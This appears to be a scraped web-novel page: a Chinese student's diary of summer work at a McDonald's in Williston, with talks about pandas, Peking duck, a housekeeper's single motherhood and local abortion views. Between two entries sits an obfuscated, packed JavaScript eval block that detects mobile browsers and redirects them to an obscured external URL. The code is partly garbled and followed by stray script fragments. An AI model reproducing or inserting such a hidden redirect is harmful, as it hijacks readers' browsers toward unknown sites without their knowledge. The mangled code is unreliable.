65.大二暑假(11)(2 / 2)

覺醒日記 賈含真 7254 字 8個月前

E:那中國吸引你的是什麼?

V:熊貓!鴨子!我喜歡吃鴨子!中國的鴨子!(他居然還舔了嘴……Vern是一個很貪吃的老板,他老是會忽然從小辦公室飄出來,來漢堡這條線上自己快速地做點什麼回去吃……)

E:北京烤鴨?

V:是的是的!(頻頻點頭)

……

Vern是一個我好不容易找到的對中國感興趣的美國人,他居然願意聽我給他講我們的少數民族,各種方言,家鄉的茶樹!Vern居然告訴我他從來沒有喝過茶……我說麥當勞裡就有甜茶和Uea啊(真的翻譯不好……抱歉,“不甜的茶”?“淡茶”?)!他說他就是沒有喝過……好吧……後來我說四川有一個專門保護熊貓的地方(an area special for panda),Vern一定要去!可是我不記得保護區的單詞了(原諒我……)……Vern居然跑去查了,然後告訴我美國把這個Special Area稱之為Preserve!很可愛的老板~

明天七點的班……安

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915796|132138||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

8月2日 星期五 晴

在這周之前我的休班時間一直在周二和周五,這讓我傻傻地以為休班是固定的,這周我的休班就被調整成了周五周六連休,下周的休班又有了變動……不管怎麼說,休班的日子還是很讓人開心的~

剛才Housekeeper進來打掃,說是打掃其實就隻是換了毛巾……Tammy(對我很友好的一個Housekeeper,下麵就具體說了)一開門見到我就很高興地走了進來,她看見我坐在地上看書,就坐在了靠窗的床沿上,看著滿是漢字的書感歎,“A lot of words!”我笑了笑就開始了我們的談話~

Tammy說她已經一周沒有打掃過家了,今晚孩子會回家,所以她下班回去後就要馬上打掃。她有一個十一歲的女兒和一個九歲的兒子,念的是寄宿學校,然後她就很幸福地給我看了她孩子的照片~我很好奇地問Tammy,作為母親,她是否支持自己的孩子早戀?她毫不猶豫地搖頭,非常堅決地說No!接下來,就講了她自己的故事。

她之前有一個男友,就是孩子的父親,Tammy工作很忙,沒有辦法一直和他待在一起,他就酗酒,吸毒。現在Tammy依舊有一個男友,但是兩個人工作都很忙,所以沒有什麼時間見麵。Tammy說,男友總是想要你和他待在一起,男人碰了你,你就有了孩子(她用了Touch這個詞)。這裡的男人(我不知道她的這裡指的是威利斯頓還是美國……)總是急於找一個女友,但隻要有幾天不待在一起,他們又會去找新的女人。來美國之後我發現自己說話也開始直接,會很明確甚至是赤裸地說一些問題。Tammy的話讓我想到了那天早上看到的報紙,頭條是有人請願北達科他州立法禁止墮胎,並希望北達科他州成為全美對於墮胎有最嚴厲法律的地方……我就直接問T,墮胎是犯法的嗎?這裡墮胎的人多嗎?T告訴我,這裡很多人墮胎,也不違法,墮胎一次需要300刀!但是她不理解那些人為什麼要墮胎,或許是出於沒有撫養能力,但是仍舊不至於不要自己的孩子!Tammy說,她的孩子從小就是她一個人撫養,而且她儘力去寵他們,讓他們得到他們想要的一切,吃!穿!玩!戀愛的話要看對象怎麼樣,但她仍舊不希望自己的孩子受傷。

她很驕傲地說她的孩子很聽話,會做家務,像洗碗,洗衣服,打掃地板什麼的~作為一個母親,她覺得很幸福!她的父母也在威利斯頓,但是由於工作太忙,和父母見麵的時間很少(T有三份工)。T很好奇中國人住的是公寓還是小房子?我告訴她,中國人大部分人住的是公寓。之後她就主動要看一些中國的圖片~但不一會兒她就回去繼續工作了。我在這裡接觸的大都是這樣的人,有好幾份工作,每天都忙到不可開交!獨自撫養孩子,或者有一個重組家庭,對外麵的世界幾乎一無所知。每個人都想要過更好的生活,但是在你沒有接觸過更好的生活之前你隻可以憑著自己已有的知識想象,沒有接觸又怎麼會知道怎樣才是真正的更好的生活?這就是經曆了才可以懂得理解的意義吧。

來美國之後我確實嘗試了很多新鮮的事物,比如看片。以前我是一個不怎麼看電影的人,現在晚上經常會和舍友一起看一部電影。昨晚看的《Pretty Women》(可翻譯為《風月俏佳人》,朱莉婭羅伯茨主演,她的成名作)講的就是一個站街的妓女接觸過百萬富翁後的逆襲!我們總是不自覺地在改變,有些東西,是真的回不去了。

如果真的想進一步了解美國,林達寫的近距離看美國係列真的很值得一看,雖然九七年就出版了……我現在看的是第一部《曆史深處的憂慮》。

最後寫下昨天工作的兩個小細節。一個是,我什麼都沒有說!Shannon(藍衣經理,有鼻釘)居然知道了我討厭Make Bun(她用的是Tired Of,厭倦),承諾儘量不給我安排這個崗位,我覺得人性到爆!雖然昨天還是讓我Make Bun了……還有一個就是,昨天在最忙的時候我做Middle(給漢堡加醬)部分,紅衣Madam過來給我幫忙,幫我度過了最難的那一段,她居然說的是,“Liz~ Thank you let me do your sandwiches!”(Liz 是Elizabeth的簡稱,現在很多人喜歡叫我簡稱……,感謝你讓我做你的單子!)我都驚悚了!該說謝謝的人不是我嗎?好吧,今晚要去吃墨西哥菜……

上一頁 書頁/目錄 下一章